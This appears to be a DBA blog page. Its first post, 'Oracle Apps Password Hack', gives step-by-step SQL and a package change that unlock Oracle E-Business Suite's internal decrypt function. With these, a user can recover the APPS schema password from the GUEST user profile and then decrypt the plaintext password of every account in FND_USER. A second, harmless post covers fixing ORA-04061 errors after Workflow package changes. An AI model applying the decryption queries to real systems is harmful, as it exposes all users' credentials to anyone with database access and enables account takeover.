Oracle Apps Password Hack

     As you know the Oracle Apps Schema is the centralized schema to hold all the objects with all the grants. Sometimes in some unusual circumstances, the organization or DBA lacks of the knowledge of APPS password, then it really a very big issue to recover from the Database. As this password in Oracle Apps schema in an encrypted format. Normally the Oracle Apps Users Password and Oracle Apps Passwords are encrypted and stored under these tables:

i) FND_ORACLE_USERID

ii) FND_USER

     Oracle makes use of FND_WEB_SEC package to decrypt these passwords for validating against the user.The DECRYPT function is a local function and cannot be called outside the FND_WEB_SEC package.

--------------Decrypt function in the FND_WEB_SEC package---------------------------

function decrypt(key in varchar2, value in varchar2)
return varchar2
as language java name 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

----------------------------------------------------------------------------------------------------------
To make this Function available for outside the function, the FND_WEB_SEC package spec to be altered with the following line:

----------------------------------------------------------------------------------------------
 function decrypt(key in varchar2, value in varchar2)

return varchar2;
----------------------------------------------------------------------------------------------
After altering the package, we need to things to be used to get the decrypted password:

 i) The encrypted password : fnd_user.encrypted_user_password

 ii) the decryption key for the user password to be decrypted "encrypted_foundation_password" of the GUEST User.

Meaning that the first step to decrypt the user password is to decrypt the foundation password of the guest user. When Oracle Apps is verifying a login attempt it will also needs to perform those steps so we can find the standard Oracle approach of decrypting the foundation password in the FND_WEB_SEC package under the function “get_foundation_password”.

This GUEST password can be retrieved using the following query:

 ----------------------------------------------------------------------------------------
SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual; 
 -----------------------------------------------------------------------------------------
Now time to retrieve the  APPS password using the following query:

/*--------------------------------------------------------------*/
SELECT(
SELECT
fnd_web_sec.decrypt(
UPPER((SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual))
,usertable.encrypted_foundation_password)
FROM dual
) AS apps_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper(
(SELECT
substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
FROM dual)
)
/*--------------------------------------------------------------*/
With the help of  password/decryption key we can now start decrypting all the other user passwords. We can make use of the following query to decrypt the password of the specified username


/*--------------------------------------------------------------*/
SELECT
usertable.user_name
,(SELECT
fnd_web_sec.decrypt(UPPER((
SELECT(
SELECT
fnd_web_sec.decrypt(UPPER(
(SELECT upper(fnd_profile.value('GUEST_USER_PWD')) FROM dual)
)
,usertable.encrypted_foundation_password)
FROM dual
) AS apps_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper(
(SELECT
substr(fnd_profile.value('GUEST_USER_PWD'),1,instr(fnd_profile.value('GUEST_USER_PWD'),'/')-1)
FROM dual)
)
)
),usertable.encrypted_user_password)
FROM
dual
) AS encrypted_user_password
FROM
fnd_user usertable
WHERE
usertable.user_name LIKE upper('&username')
/*--------------------------------------------------------------*/


This however has still only returned the user password of a user account, if you also want to have the decrypted foundation password of a user account we have to take a closer look at the way the foundation passwords for a user account are decrypted. First take a close look at the way the user foundation password is encrypted by Oracle:

/*--------------------------------------------------------------*/
encFndPwd := encrypt(user||'/'||pwd,fndPwd);
/*--------------------------------------------------------------*/


This learns us that the combination username / password is used to encrypt the foundation password. As we already have decrypted the user password and we know the username we can easily combine those so we have the decryption key. However there is no real use to decrypt the foundation password of the user account because this will be exactly the same foundation password as the one for the guest user. Oracle uses this mechanism to obtain the user foundation password with only the knowledge of the username and password given by the user who tries to login. Using those queries you will be able to decrypt all user passwords available in the FND_USER table.

ORA-04061 : existing state of has been invalidated for Workflow realted packages after modifiction

Whenever we modify the Oracle Workflow related package, the workflow enters into the error Ora-04061: : existing state of has been invalidated workflow. This is quite happens for any workflow,as the packages related to the workflow already loaded into the SGA of the database and which can be cleared most often by restarting the database.But this is not possible for 24 X 7 based databases. 

We can resolve this by the following procedure:

1) Shutdown the Workflow Agent Listeners and Workflow mailer or shutdown the Workflow Generic Service Component Container.
2) Make sure the Package in compiled successfully. 
3) Compile the APPS schema using the adadamin.
4) Bounce the Apache.
5) Restart the Service components and Workflow Mailer service
6) Retry the error workflow.

If the above steps were unable to resolve the issue, then do the additional steps as follows:

 
1) Shutdown the Workflow Agent Listeners and Workflow mailer or shutdown the Workflow Generic Service Component Container.
2) Make sure the Package in compiled successfully. 
3) Compile the APPS schema using the adadamin.
4) connect / as sysdba

SQL>alter system set aq_tm_processes=0 scope=memory;

You need to wait until the q00* and qmnc* processes are no longer running. You can check via

ps -ef | grep q00 and ps -ef | grep qmn

5)  SQL> alter system flush shared_pool;

6) SQL> alter system set aq_tm_processes=1 scope=memory;
 
7) Start the Notification Mailer and agent listeners

8) Retry the error workflow.